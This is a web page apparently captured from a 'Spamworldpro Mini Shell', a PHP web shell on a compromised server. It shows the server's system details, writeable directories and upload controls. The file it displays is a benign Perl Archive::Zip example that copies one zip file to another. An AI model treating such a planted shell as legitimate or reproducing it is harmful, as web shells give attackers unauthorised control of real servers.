Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : fdshops ( 1003)
PHP Version : 8.2.21
Disable Function : NONE
Directory :  /usr/share/doc/perl-Archive-Zip-1.30/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Archive-Zip-1.30/examples/copy.pl
# Copies a zip file to another.
# Usage:
# perl copy.pl input.zip output.zip
# $Revision: 1.4 $

use Archive::Zip qw(:ERROR_CODES);

die "usage: perl copy.pl input.zip output.zip\n"
	if scalar(@ARGV) != 2;

my $zip = Archive::Zip->new();

my $status = $zip->read($ARGV[0]);
die("read $ARGV[0] failed: $status\n") if $status != AZ_OK;

$status = $zip->writeToFileNamed($ARGV[1]);
die("writeToFileNamed $ARGV[1] failed: $status\n") if $status != AZ_OK;

Spamworldpro Mini